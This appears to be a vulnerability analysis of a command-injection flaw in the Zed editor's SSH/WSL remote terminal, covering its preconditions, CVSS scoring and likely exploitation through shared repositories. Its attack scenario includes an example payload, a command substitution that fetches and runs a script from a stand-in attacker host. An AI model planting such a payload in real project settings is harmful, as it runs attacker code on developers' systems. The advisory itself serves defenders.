Zed Editor CVE-2026-44461

Requires that the attacker can control an environment variable key in Zed's project terminal settings (e.g., via a malicious or compromised shared project/repo) and that the victim then opens that project in Zed prior to version 0.227.1 and launches a remote terminal using the SSH or WSL backend - at which point the unquoted key is concatenated into the 'exec env ...' shell string and expansions like $(...) execute. Exploitation is limited by required user interaction (CVSS UI:R) to open the project and trigger a remote terminal, the need for an SSH or WSL remote target to be configured, and the local attack vector (AV:L) implying delivery of the malicious settings to the victim's Zed instance rather than direct network reachability.

The CVSS 3.1 base score of 8.6 reflects local attack vector (AV:L) with low complexity (AC:L), no privileges (PR:N), but required user interaction (UI:R) and a scope change (S:C) with high impact across confidentiality, integrity, and availability - consistent with attacker-controlled project settings being weaponized when a victim opens a remote terminal. The vulnerability is not listed in CISA KEV and no public exploit identified at time of analysis; EPSS data was not provided. Realistically, exploitation depends on a social-engineering or supply-chain style delivery: the victim must open a project whose terminal settings are attacker-controlled and then open a remote terminal, which limits opportunistic mass exploitation but makes it a credible threat in collaborative, multi-tenant, or shared-repo contexts. AV:L is consistent with the attack surface - settings are processed locally by Zed even though the command ultimately runs on a remote host.

An attacker commits malicious project-level Zed terminal settings to a shared repository that define an environment variable whose key contains a command substitution such as $(curl attacker.example/x|sh). When a developer clones the repo, opens it in a vulnerable Zed (<0.227.1), and launches an SSH or WSL terminal, Zed builds the 'exec env ...' command and the remote shell evaluates the injected expansion, executing the attacker's payload on the remote host as the victim. No public exploit identified at time of analysis, but the technique is straightforward given the description.